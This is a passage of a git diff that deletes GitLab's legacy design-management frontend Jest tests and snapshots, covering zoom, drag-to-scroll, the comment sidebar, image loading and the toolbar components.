- { width: 20, height: 20 },
- 0,
- 0,
- );
-
- expect(wrapper.vm.getViewportCenter()).toEqual({
- x: 5,
- y: 5,
- });
- });
-
- it('calculate center correctly with some scroll', () => {
- mockRefDimensions(
- wrapper.vm.$refs.presentationViewport,
- { width: 10, height: 10 },
- { width: 20, height: 20 },
- 0.5,
- 0.5,
- );
-
- expect(wrapper.vm.getViewportCenter()).toEqual({
- x: 10,
- y: 10,
- });
- });
-
- it('Returns default case if no overflow (scrollWidth==offsetWidth, etc.)', () => {
- mockRefDimensions(
- wrapper.vm.$refs.presentationViewport,
- { width: 20, height: 20 },
- { width: 20, height: 20 },
- 0.5,
- 0.5,
- );
-
- expect(wrapper.vm.getViewportCenter()).toEqual({
- x: 10,
- y: 10,
- });
- });
- });
-
- describe('scaleZoomFocalPoint', () => {
- it('scales focal point correctly when zooming in', () => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- },
- {
- ...mockOverlayData,
- zoomFocalPoint: {
- x: 5,
- y: 5,
- width: 50,
- height: 50,
- },
- },
- );
-
- wrapper.vm.scaleZoomFocalPoint();
- expect(wrapper.vm.zoomFocalPoint).toEqual({
- x: 10,
- y: 10,
- width: 100,
- height: 100,
- });
- });
-
- it('scales focal point correctly when zooming out', () => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- },
- {
- ...mockOverlayData,
- zoomFocalPoint: {
- x: 10,
- y: 10,
- width: 200,
- height: 200,
- },
- },
- );
-
- wrapper.vm.scaleZoomFocalPoint();
- expect(wrapper.vm.zoomFocalPoint).toEqual({
- x: 5,
- y: 5,
- width: 100,
- height: 100,
- });
- });
- });
-
- describe('onImageResize', () => {
- it('sets zoom focal point on initial load', () => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- },
- mockOverlayData,
- );
-
- wrapper.setMethods({
- shiftZoomFocalPoint: jest.fn(),
- scaleZoomFocalPoint: jest.fn(),
- scrollToFocalPoint: jest.fn(),
- });
-
- wrapper.vm.onImageResize({ width: 10, height: 10 });
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.shiftZoomFocalPoint).toHaveBeenCalled();
- expect(wrapper.vm.initialLoad).toBe(false);
- });
- });
-
- it('calls scaleZoomFocalPoint and scrollToFocalPoint after initial load', () => {
- wrapper.vm.onImageResize({ width: 10, height: 10 });
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.scaleZoomFocalPoint).toHaveBeenCalled();
- expect(wrapper.vm.scrollToFocalPoint).toHaveBeenCalled();
- });
- });
- });
-
- describe('onPresentationMousedown', () => {
- it.each`
- scenario | width | height
- ${'width overflows'} | ${101} | ${100}
- ${'height overflows'} | ${100} | ${101}
- ${'width and height overflows'} | ${200} | ${200}
- `('sets lastDragPosition when design $scenario', ({ width, height }) => {
- createComponent();
- mockRefDimensions(
- wrapper.vm.$refs.presentationViewport,
- { width: 100, height: 100 },
- { width, height },
- );
-
- const newLastDragPosition = { x: 2, y: 2 };
- wrapper.vm.onPresentationMousedown({
- clientX: newLastDragPosition.x,
- clientY: newLastDragPosition.y,
- });
-
- expect(wrapper.vm.lastDragPosition).toStrictEqual(newLastDragPosition);
- });
-
- it('does not set lastDragPosition if design does not overflow', () => {
- const lastDragPosition = { x: 1, y: 1 };
-
- createComponent({}, { lastDragPosition });
- mockRefDimensions(
- wrapper.vm.$refs.presentationViewport,
- { width: 100, height: 100 },
- { width: 50, height: 50 },
- );
-
- wrapper.vm.onPresentationMousedown({ clientX: 2, clientY: 2 });
-
- // check lastDragPosition is unchanged
- expect(wrapper.vm.lastDragPosition).toStrictEqual(lastDragPosition);
- });
- });
-
- describe('getAnnotationPositon', () => {
- it.each`
- coordinates | overlayDimensions | position
- ${{ x: 100, y: 100 }} | ${{ width: 50, height: 50 }} | ${{ x: 100, y: 100, width: 50, height: 50 }}
- ${{ x: 100.2, y: 100.5 }} | ${{ width: 50.6, height: 50.0 }} | ${{ x: 100, y: 101, width: 51, height: 50 }}
- `('returns correct annotation position', ({ coordinates, overlayDimensions, position }) => {
- createComponent(undefined, {
- overlayDimensions: {
- width: overlayDimensions.width,
- height: overlayDimensions.height,
- },
- });
-
- expect(wrapper.vm.getAnnotationPositon(coordinates)).toStrictEqual(position);
- });
- });
-
- describe('when design is overflowing', () => {
- beforeEach(() => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- },
- mockOverlayData,
- {
- 'design-overlay': DesignOverlay,
- },
- );
-
- // mock a design that overflows
- mockRefDimensions(
- wrapper.vm.$refs.presentationViewport,
- { width: 10, height: 10 },
- { width: 20, height: 20 },
- 0,
- 0,
- );
- });
-
- it('opens a comment form if design was not dragged', () => {
- const addCommentOverlay = findOverlayCommentButton();
- const startCoords = {
- clientX: 1,
- clientY: 1,
- };
-
- addCommentOverlay.trigger('mousedown', {
- clientX: startCoords.clientX,
- clientY: startCoords.clientY,
- });
-
- return wrapper.vm
- .$nextTick()
- .then(() => {
- addCommentOverlay.trigger('mouseup');
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(wrapper.emitted('openCommentForm')).toBeDefined();
- });
- });
-
- describe('when clicking and dragging', () => {
- it.each`
- description | useTouchEvents
- ${'with touch events'} | ${true}
- ${'without touch events'} | ${false}
- `('calls scrollTo with correct arguments $description', ({ useTouchEvents }) => {
- return clickDragExplore(
- { clientX: 0, clientY: 0 },
- { clientX: 10, clientY: 10 },
- { useTouchEvents },
- ).then(() => {
- expect(wrapper.element.scrollTo).toHaveBeenCalledTimes(1);
- expect(wrapper.element.scrollTo).toHaveBeenCalledWith(-10, -10);
- });
- });
-
- it('does not open a comment form when drag position exceeds buffer', () => {
- return clickDragExplore(
- { clientX: 0, clientY: 0 },
- { clientX: 10, clientY: 10 },
- { mouseup: true },
- ).then(() => {
- expect(wrapper.emitted('openCommentForm')).toBeFalsy();
- });
- });
-
- it('opens a comment form when drag position is within buffer', () => {
- return clickDragExplore(
- { clientX: 0, clientY: 0 },
- { clientX: 1, clientY: 0 },
- { mouseup: true },
- ).then(() => {
- expect(wrapper.emitted('openCommentForm')).toBeDefined();
- });
- });
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/design_scaler_spec.js b/spec/frontend/design_management_legacy/components/design_scaler_spec.js
deleted file mode 100644
index 30ef5ab159b..00000000000
--- a/spec/frontend/design_management_legacy/components/design_scaler_spec.js
+++ /dev/null
@@ -1,67 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import DesignScaler from '~/design_management_legacy/components/design_scaler.vue';
-
-describe('Design management design scaler component', () => {
- let wrapper;
-
- function createComponent(propsData, data = {}) {
- wrapper = shallowMount(DesignScaler, {
- propsData,
- });
- wrapper.setData(data);
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const getButton = type => {
- const buttonTypeOrder = ['minus', 'reset', 'plus'];
- const buttons = wrapper.findAll('button');
- return buttons.at(buttonTypeOrder.indexOf(type));
- };
-
- it('emits @scale event when "plus" button clicked', () => {
- createComponent();
-
- getButton('plus').trigger('click');
- expect(wrapper.emitted('scale')).toEqual([[1.2]]);
- });
-
- it('emits @scale event when "reset" button clicked (scale > 1)', () => {
- createComponent({}, { scale: 1.6 });
- return wrapper.vm.$nextTick().then(() => {
- getButton('reset').trigger('click');
- expect(wrapper.emitted('scale')).toEqual([[1]]);
- });
- });
-
- it('emits @scale event when "minus" button clicked (scale > 1)', () => {
- createComponent({}, { scale: 1.6 });
-
- return wrapper.vm.$nextTick().then(() => {
- getButton('minus').trigger('click');
- expect(wrapper.emitted('scale')).toEqual([[1.4]]);
- });
- });
-
- it('minus and reset buttons are disabled when scale === 1', () => {
- createComponent();
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('minus and reset buttons are enabled when scale > 1', () => {
- createComponent({}, { scale: 1.2 });
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('plus button is disabled when scale === 2', () => {
- createComponent({}, { scale: 2 });
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/design_sidebar_spec.js b/spec/frontend/design_management_legacy/components/design_sidebar_spec.js
deleted file mode 100644
index fc0f618c359..00000000000
--- a/spec/frontend/design_management_legacy/components/design_sidebar_spec.js
+++ /dev/null
@@ -1,236 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlCollapse, GlPopover } from '@gitlab/ui';
-import Cookies from 'js-cookie';
-import DesignSidebar from '~/design_management_legacy/components/design_sidebar.vue';
-import Participants from '~/sidebar/components/participants/participants.vue';
-import DesignDiscussion from '~/design_management_legacy/components/design_notes/design_discussion.vue';
-import design from '../mock_data/design';
-import updateActiveDiscussionMutation from '~/design_management_legacy/graphql/mutations/update_active_discussion.mutation.graphql';
-
-const updateActiveDiscussionMutationVariables = {
- mutation: updateActiveDiscussionMutation,
- variables: {
- id: design.discussions.nodes[0].notes.nodes[0].id,
- source: 'discussion',
- },
-};
-
-const $route = {
- params: {
- id: '1',
- },
-};
-
-const cookieKey = 'hide_design_resolved_comments_popover';
-
-const mutate = jest.fn().mockResolvedValue();
-
-describe('Design management design sidebar component', () => {
- let wrapper;
-
- const findDiscussions = () => wrapper.findAll(DesignDiscussion);
- const findFirstDiscussion = () => findDiscussions().at(0);
- const findUnresolvedDiscussions = () => wrapper.findAll('[data-testid="unresolved-discussion"]');
- const findResolvedDiscussions = () => wrapper.findAll('[data-testid="resolved-discussion"]');
- const findParticipants = () => wrapper.find(Participants);
- const findCollapsible = () => wrapper.find(GlCollapse);
- const findToggleResolvedCommentsButton = () => wrapper.find('[data-testid="resolved-comments"]');
- const findPopover = () => wrapper.find(GlPopover);
- const findNewDiscussionDisclaimer = () =>
- wrapper.find('[data-testid="new-discussion-disclaimer"]');
-
- function createComponent(props = {}) {
- wrapper = shallowMount(DesignSidebar, {
- propsData: {
- design,
- resolvedDiscussionsExpanded: false,
- markdownPreviewPath: '',
- ...props,
- },
- mocks: {
- $route,
- $apollo: {
- mutate,
- },
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders participants', () => {
- createComponent();
-
- expect(findParticipants().exists()).toBe(true);
- });
-
- it('passes the correct amount of participants to the Participants component', () => {
- createComponent();
-
- expect(findParticipants().props('participants')).toHaveLength(1);
- });
-
- describe('when has no discussions', () => {
- beforeEach(() => {
- createComponent({
- design: {
- ...design,
- discussions: {
- nodes: [],
- },
- },
- });
- });
-
- it('does not render discussions', () => {
- expect(findDiscussions().exists()).toBe(false);
- });
-
- it('renders a message about possibility to create a new discussion', () => {
- expect(findNewDiscussionDisclaimer().exists()).toBe(true);
- });
- });
-
- describe('when has discussions', () => {
- beforeEach(() => {
- Cookies.set(cookieKey, true);
- createComponent();
- });
-
- it('renders correct amount of unresolved discussions', () => {
- expect(findUnresolvedDiscussions()).toHaveLength(1);
- });
-
- it('renders correct amount of resolved discussions', () => {
- expect(findResolvedDiscussions()).toHaveLength(1);
- });
-
- it('has resolved comments collapsible collapsed', () => {
- expect(findCollapsible().attributes('visible')).toBeUndefined();
- });
-
- it('emits toggleResolveComments event on resolve comments button click', () => {
- findToggleResolvedCommentsButton().vm.$emit('click');
- expect(wrapper.emitted('toggleResolvedComments')).toHaveLength(1);
- });
-
- it('opens a collapsible when resolvedDiscussionsExpanded prop changes to true', () => {
- expect(findCollapsible().attributes('visible')).toBeUndefined();
- wrapper.setProps({
- resolvedDiscussionsExpanded: true,
- });
- return wrapper.vm.$nextTick().then(() => {
- expect(findCollapsible().attributes('visible')).toBe('true');
- });
- });
-
- it('does not popover about resolved comments', () => {
- expect(findPopover().exists()).toBe(false);
- });
-
- it('sends a mutation to set an active discussion when clicking on a discussion', () => {
- findFirstDiscussion().trigger('click');
-
- expect(mutate).toHaveBeenCalledWith(updateActiveDiscussionMutationVariables);
- });
-
- it('sends a mutation to reset an active discussion when clicking outside of discussion', () => {
- wrapper.trigger('click');
-
- expect(mutate).toHaveBeenCalledWith({
- ...updateActiveDiscussionMutationVariables,
- variables: { id: undefined, source: 'discussion' },
- });
- });
-
- it('emits correct event on discussion create note error', () => {
- findFirstDiscussion().vm.$emit('createNoteError', 'payload');
- expect(wrapper.emitted('onDesignDiscussionError')).toEqual([['payload']]);
- });
-
- it('emits correct event on discussion update note error', () => {
- findFirstDiscussion().vm.$emit('updateNoteError', 'payload');
- expect(wrapper.emitted('updateNoteError')).toEqual([['payload']]);
- });
-
- it('emits correct event on discussion resolve error', () => {
- findFirstDiscussion().vm.$emit('resolveDiscussionError', 'payload');
- expect(wrapper.emitted('resolveDiscussionError')).toEqual([['payload']]);
- });
-
- it('changes prop correctly on opening discussion form', () => {
- findFirstDiscussion().vm.$emit('openForm', 'some-id');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findFirstDiscussion().props('discussionWithOpenForm')).toBe('some-id');
- });
- });
- });
-
- describe('when all discussions are resolved', () => {
- beforeEach(() => {
- createComponent({
- design: {
- ...design,
- discussions: {
- nodes: [
- {
- id: 'discussion-id',
- replyId: 'discussion-reply-id',
- resolved: true,
- notes: {
- nodes: [
- {
- id: 'note-id',
- body: '123',
- author: {
- name: 'Administrator',
- username: 'root',
- webUrl: 'link-to-author',
- avatarUrl: 'link-to-avatar',
- },
- },
- ],
- },
- },
- ],
- },
- },
- });
- });
-
- it('renders a message about possibility to create a new discussion', () => {
- expect(findNewDiscussionDisclaimer().exists()).toBe(true);
- });
-
- it('does not render unresolved discussions', () => {
- expect(findUnresolvedDiscussions()).toHaveLength(0);
- });
- });
-
- describe('when showing resolved discussions for the first time', () => {
- beforeEach(() => {
- Cookies.set(cookieKey, false);
- createComponent();
- });
-
- it('renders a popover if we show resolved comments collapsible for the first time', () => {
- expect(findPopover().exists()).toBe(true);
- });
-
- it('dismisses a popover on the outside click', () => {
- wrapper.trigger('click');
- return wrapper.vm.$nextTick(() => {
- expect(findPopover().exists()).toBe(false);
- });
- });
-
- it(`sets a ${cookieKey} cookie on clicking outside the popover`, () => {
- jest.spyOn(Cookies, 'set');
- wrapper.trigger('click');
- expect(Cookies.set).toHaveBeenCalledWith(cookieKey, 'true', { expires: 365 * 10 });
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/image_spec.js b/spec/frontend/design_management_legacy/components/image_spec.js
deleted file mode 100644
index 265c91abb4e..00000000000
--- a/spec/frontend/design_management_legacy/components/image_spec.js
+++ /dev/null
@@ -1,133 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlIcon } from '@gitlab/ui';
-import DesignImage from '~/design_management_legacy/components/image.vue';
-
-describe('Design management large image component', () => {
- let wrapper;
-
- function createComponent(propsData, data = {}) {
- wrapper = shallowMount(DesignImage, {
- propsData,
- });
- wrapper.setData(data);
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders loading state', () => {
- createComponent({
- isLoading: true,
- });
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('renders image', () => {
- createComponent({
- isLoading: false,
- image: 'test.jpg',
- name: 'test',
- });
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('sets correct classes and styles if imageStyle is set', () => {
- createComponent(
- {
- isLoading: false,
- image: 'test.jpg',
- name: 'test',
- },
- {
- imageStyle: {
- width: '100px',
- height: '100px',
- },
- },
- );
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('renders media broken icon on error', () => {
- createComponent({
- isLoading: false,
- image: 'test.jpg',
- name: 'test',
- });
-
- const image = wrapper.find('img');
- image.trigger('error');
- return wrapper.vm.$nextTick().then(() => {
- expect(image.isVisible()).toBe(false);
- expect(wrapper.find(GlIcon).element).toMatchSnapshot();
- });
- });
-
- describe('zoom', () => {
- const baseImageWidth = 100;
- const baseImageHeight = 100;
-
- beforeEach(() => {
- createComponent(
- {
- isLoading: false,
- image: 'test.jpg',
- name: 'test',
- },
- {
- imageStyle: {
- width: `${baseImageWidth}px`,
- height: `${baseImageHeight}px`,
- },
- baseImageSize: {
- width: baseImageWidth,
- height: baseImageHeight,
- },
- },
- );
-
- jest.spyOn(wrapper.vm.$refs.contentImg, 'offsetWidth', 'get').mockReturnValue(baseImageWidth);
- jest
- .spyOn(wrapper.vm.$refs.contentImg, 'offsetHeight', 'get')
- .mockReturnValue(baseImageHeight);
- });
-
- it('emits @resize event on zoom', () => {
- const zoomAmount = 2;
- wrapper.vm.zoom(zoomAmount);
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('resize')).toEqual([
- [{ width: baseImageWidth * zoomAmount, height: baseImageHeight * zoomAmount }],
- ]);
- });
- });
-
- it('emits @resize event with base image size when scale=1', () => {
- wrapper.vm.zoom(1);
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('resize')).toEqual([
- [{ width: baseImageWidth, height: baseImageHeight }],
- ]);
- });
- });
-
- it('sets image style when zoomed', () => {
- const zoomAmount = 2;
- wrapper.vm.zoom(zoomAmount);
- expect(wrapper.vm.imageStyle).toEqual({
- width: `${baseImageWidth * zoomAmount}px`,
- height: `${baseImageHeight * zoomAmount}px`,
- });
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/list/__snapshots__/item_spec.js.snap b/spec/frontend/design_management_legacy/components/list/__snapshots__/item_spec.js.snap
deleted file mode 100644
index 168b9424006..00000000000
--- a/spec/frontend/design_management_legacy/components/list/__snapshots__/item_spec.js.snap
+++ /dev/null
@@ -1,149 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management list item component when item appears in view after image is loaded renders media broken icon when image onerror triggered 1`] = `
-<gl-icon-stub
- class="text-secondary"
- name="media-broken"
- size="32"
-/>
-`;
-
-exports[`Design management list item component with notes renders item with multiple comments 1`] = `
-<router-link-stub
- class="card cursor-pointer text-plain js-design-list-item design-list-item"
- to="[object Object]"
->
- <div
- class="card-body p-0 d-flex-center overflow-hidden position-relative"
- >
- <!---->
-
- <gl-intersection-observer-stub>
- <!---->
-
- <img
- alt="test"
- class="block mx-auto mw-100 mh-100 design-img"
- data-qa-selector="design_image"
- src=""
- />
- </gl-intersection-observer-stub>
- </div>
-
- <div
- class="card-footer d-flex w-100"
- >
- <div
- class="d-flex flex-column str-truncated-100"
- >
- <span
- class="bold str-truncated-100"
- data-qa-selector="design_file_name"
- >
- test
- </span>
-
- <span
- class="str-truncated-100"
- >
-
- Updated
- <timeago-stub
- cssclass=""
- time="01-01-2019"
- tooltipplacement="bottom"
- />
- </span>
- </div>
-
- <div
- class="ml-auto d-flex align-items-center text-secondary"
- >
- <icon-stub
- class="ml-1"
- name="comments"
- size="16"
- />
-
- <span
- aria-label="2 comments"
- class="ml-1"
- >
-
- 2
-
- </span>
- </div>
- </div>
-</router-link-stub>
-`;
-
-exports[`Design management list item component with notes renders item with single comment 1`] = `
-<router-link-stub
- class="card cursor-pointer text-plain js-design-list-item design-list-item"
- to="[object Object]"
->
- <div
- class="card-body p-0 d-flex-center overflow-hidden position-relative"
- >
- <!---->
-
- <gl-intersection-observer-stub>
- <!---->
-
- <img
- alt="test"
- class="block mx-auto mw-100 mh-100 design-img"
- data-qa-selector="design_image"
- src=""
- />
- </gl-intersection-observer-stub>
- </div>
-
- <div
- class="card-footer d-flex w-100"
- >
- <div
- class="d-flex flex-column str-truncated-100"
- >
- <span
- class="bold str-truncated-100"
- data-qa-selector="design_file_name"
- >
- test
- </span>
-
- <span
- class="str-truncated-100"
- >
-
- Updated
- <timeago-stub
- cssclass=""
- time="01-01-2019"
- tooltipplacement="bottom"
- />
- </span>
- </div>
-
- <div
- class="ml-auto d-flex align-items-center text-secondary"
- >
- <icon-stub
- class="ml-1"
- name="comments"
- size="16"
- />
-
- <span
- aria-label="1 comment"
- class="ml-1"
- >
-
- 1
-
- </span>
- </div>
- </div>
-</router-link-stub>
-`;
diff --git a/spec/frontend/design_management_legacy/components/list/item_spec.js b/spec/frontend/design_management_legacy/components/list/item_spec.js
deleted file mode 100644
index e9bb0fc3f29..00000000000
--- a/spec/frontend/design_management_legacy/components/list/item_spec.js
+++ /dev/null
@@ -1,169 +0,0 @@
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import { GlIcon, GlLoadingIcon, GlIntersectionObserver } from '@gitlab/ui';
-import VueRouter from 'vue-router';
-import Icon from '~/vue_shared/components/icon.vue';
-import Item from '~/design_management_legacy/components/list/item.vue';
-
-const localVue = createLocalVue();
-localVue.use(VueRouter);
-const router = new VueRouter();
-
-// Referenced from: doc/api/graphql/reference/gitlab_schema.graphql:DesignVersionEvent
-const DESIGN_VERSION_EVENT = {
- CREATION: 'CREATION',
- DELETION: 'DELETION',
- MODIFICATION: 'MODIFICATION',
- NO_CHANGE: 'NONE',
-};
-
-describe('Design management list item component', () => {
- let wrapper;
-
- const findDesignEvent = () => wrapper.find('[data-testid="designEvent"]');
- const findEventIcon = () => findDesignEvent().find(Icon);
- const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
-
- function createComponent({
- notesCount = 0,
- event = DESIGN_VERSION_EVENT.NO_CHANGE,
- isUploading = false,
- imageLoading = false,
- } = {}) {
- wrapper = shallowMount(Item, {
- localVue,
- router,
- propsData: {
- id: 1,
- filename: 'test',
- image: 'http://via.placeholder.com/300',
- isUploading,
- event,
- notesCount,
- updatedAt: '01-01-2019',
- },
- data() {
- return {
- imageLoading,
- };
- },
- stubs: ['router-link'],
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when item is not in view', () => {
- it('image is not rendered', () => {
- createComponent();
-
- const image = wrapper.find('img');
- expect(image.attributes('src')).toBe('');
- });
- });
-
- describe('when item appears in view', () => {
- let image;
- let glIntersectionObserver;
-
- beforeEach(() => {
- createComponent();
- image = wrapper.find('img');
- glIntersectionObserver = wrapper.find(GlIntersectionObserver);
-
- glIntersectionObserver.vm.$emit('appear');
- return wrapper.vm.$nextTick();
- });
-
- describe('before image is loaded', () => {
- it('renders loading spinner', () => {
- expect(wrapper.find(GlLoadingIcon)).toExist();
- });
- });
-
- describe('after image is loaded', () => {
- beforeEach(() => {
- image.trigger('load');
- return wrapper.vm.$nextTick();
- });
-
- it('renders an image', () => {
- expect(image.attributes('src')).toBe('http://via.placeholder.com/300');
- expect(image.isVisible()).toBe(true);
- });
-
- it('renders media broken icon when image onerror triggered', () => {
- image.trigger('error');
- return wrapper.vm.$nextTick().then(() => {
- expect(image.isVisible()).toBe(false);
- expect(wrapper.find(GlIcon).element).toMatchSnapshot();
- });
- });
-
- describe('when imageV432x230 and image provided', () => {
- it('renders imageV432x230 image', () => {
- const mockSrc = 'mock-imageV432x230-url';
- wrapper.setProps({ imageV432x230: mockSrc });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(image.attributes('src')).toBe(mockSrc);
- });
- });
- });
-
- describe('when image disappears from view and then reappears', () => {
- beforeEach(() => {
- glIntersectionObserver.vm.$emit('appear');
- return wrapper.vm.$nextTick();
- });
-
- it('renders an image', () => {
- expect(image.isVisible()).toBe(true);
- });
- });
- });
- });
-
- describe('with notes', () => {
- it('renders item with single comment', () => {
- createComponent({ notesCount: 1 });
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('renders item with multiple comments', () => {
- createComponent({ notesCount: 2 });
-
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('renders loading spinner when isUploading is true', () => {
- createComponent({ isUploading: true });
-
- expect(findLoadingIcon().exists()).toBe(true);
- });
-
- it('renders item with no status icon for none event', () => {
- createComponent();
-
- expect(findDesignEvent().exists()).toBe(false);
- });
-
- describe('with associated event', () => {
- it.each`
- event | icon | className
- ${DESIGN_VERSION_EVENT.MODIFICATION} | ${'file-modified-solid'} | ${'text-primary-500'}
- ${DESIGN_VERSION_EVENT.DELETION} | ${'file-deletion-solid'} | ${'text-danger-500'}
- ${DESIGN_VERSION_EVENT.CREATION} | ${'file-addition-solid'} | ${'text-success-500'}
- `('renders item with correct status icon for $event event', ({ event, icon, className }) => {
- createComponent({ event });
- const eventIcon = findEventIcon();
-
- expect(eventIcon.exists()).toBe(true);
- expect(eventIcon.props('name')).toBe(icon);
- expect(eventIcon.classes()).toContain(className);
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/toolbar/__snapshots__/index_spec.js.snap b/spec/frontend/design_management_legacy/components/toolbar/__snapshots__/index_spec.js.snap
deleted file mode 100644
index e55cff8de3d..00000000000
--- a/spec/frontend/design_management_legacy/components/toolbar/__snapshots__/index_spec.js.snap
+++ /dev/null
@@ -1,61 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management toolbar component renders design and updated data 1`] = `
-<header
- class="d-flex p-2 bg-white align-items-center js-design-header"
->
- <a
- aria-label="Go back to designs"
- class="mr-3 text-plain d-flex justify-content-center align-items-center"
- >
- <icon-stub
- name="close"
- size="18"
- />
- </a>
-
- <div
- class="overflow-hidden d-flex align-items-center"
- >
- <h2
- class="m-0 str-truncated-100 gl-font-base"
- >
- test.jpg
- </h2>
-
- <small
- class="text-secondary"
- >
- Updated 1 hour ago by Test Name
- </small>
- </div>
-
- <pagination-stub
- class="ml-auto flex-shrink-0"
- id="1"
- />
-
- <gl-deprecated-button-stub
- class="mr-2"
- href="/-/designs/306/7f747adcd4693afadbe968d7ba7d983349b9012d"
- size="md"
- variant="secondary"
- >
- <icon-stub
- name="download"
- size="18"
- />
- </gl-deprecated-button-stub>
-
- <delete-button-stub
- buttonclass=""
- buttonvariant="danger"
- hasselecteddesigns="true"
- >
- <icon-stub
- name="remove"
- size="18"
- />
- </delete-button-stub>
-</header>
-`;
diff --git a/spec/frontend/design_management_legacy/components/toolbar/__snapshots__/pagination_button_spec.js.snap b/spec/frontend/design_management_legacy/components/toolbar/__snapshots__/pagination_button_spec.js.snap
deleted file mode 100644
index 08662a04f15..00000000000
--- a/spec/frontend/design_management_legacy/components/toolbar/__snapshots__/pagination_button_spec.js.snap
+++ /dev/null
@@ -1,28 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management pagination button component disables button when no design is passed 1`] = `
-<router-link-stub
- aria-label="Test title"
- class="btn btn-default disabled"
- disabled="true"
- to="[object Object]"
->
- <icon-stub
- name="angle-right"
- size="16"
- />
-</router-link-stub>
-`;
-
-exports[`Design management pagination button component renders router-link 1`] = `
-<router-link-stub
- aria-label="Test title"
- class="btn btn-default"
- to="[object Object]"
->
- <icon-stub
- name="angle-right"
- size="16"
- />
-</router-link-stub>
-`;
diff --git a/spec/frontend/design_management_legacy/components/toolbar/__snapshots__/pagination_spec.js.snap b/spec/frontend/design_management_legacy/components/toolbar/__snapshots__/pagination_spec.js.snap
deleted file mode 100644
index 0197b4bff79..00000000000
--- a/spec/frontend/design_management_legacy/components/toolbar/__snapshots__/pagination_spec.js.snap
+++ /dev/null
@@ -1,29 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management pagination component hides components when designs are empty 1`] = `<!---->`;
-
-exports[`Design management pagination component renders pagination buttons 1`] = `
-<div
- class="d-flex align-items-center"
->
-
- 0 of 2
-
- <div
- class="btn-group ml-3 mr-3"
- >
- <pagination-button-stub
- class="js-previous-design"
- iconname="angle-left"
- title="Go to previous design"
- />
-
- <pagination-button-stub
- class="js-next-design"
- design="[object Object]"
- iconname="angle-right"
- title="Go to next design"
- />
- </div>
-</div>
-`;
diff --git a/spec/frontend/design_management_legacy/components/toolbar/index_spec.js b/spec/frontend/design_management_legacy/components/toolbar/index_spec.js
deleted file mode 100644
index 8207cad4136..00000000000
--- a/spec/frontend/design_management_legacy/components/toolbar/index_spec.js
+++ /dev/null
@@ -1,123 +0,0 @@
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import VueRouter from 'vue-router';
-import { GlDeprecatedButton } from '@gitlab/ui';
-import Toolbar from '~/design_management_legacy/components/toolbar/index.vue';
-import DeleteButton from '~/design_management_legacy/components/delete_button.vue';
-import { DESIGNS_ROUTE_NAME } from '~/design_management_legacy/router/constants';
-
-const localVue = createLocalVue();
-localVue.use(VueRouter);
-const router = new VueRouter();
-
-const RouterLinkStub = {
- props: {
- to: {
- type: Object,
- },
- },
- render(createElement) {
- return createElement('a', {}, this.$slots.default);
- },
-};
-
-describe('Design management toolbar component', () => {
- let wrapper;
-
- function createComponent(isLoading = false, createDesign = true, props) {
- const updatedAt = new Date();
- updatedAt.setHours(updatedAt.getHours() - 1);
-
- wrapper = shallowMount(Toolbar, {
- localVue,
- router,
- propsData: {
- id: '1',
- isLatestVersion: true,
- isLoading,
- isDeleting: false,
- filename: 'test.jpg',
- updatedAt: updatedAt.toString(),
- updatedBy: {
- name: 'Test Name',
- },
- image: '/-/designs/306/7f747adcd4693afadbe968d7ba7d983349b9012d',
- ...props,
- },
- stubs: {
- 'router-link': RouterLinkStub,
- },
- });
-
- wrapper.setData({
- permissions: {
- createDesign,
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders design and updated data', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('links back to designs list', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- const link = wrapper.find('a');
-
- expect(link.props('to')).toEqual({
- name: DESIGNS_ROUTE_NAME,
- query: {
- version: undefined,
- },
- });
- });
- });
-
- it('renders delete button on latest designs version with logged in user', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(DeleteButton).exists()).toBe(true);
- });
- });
-
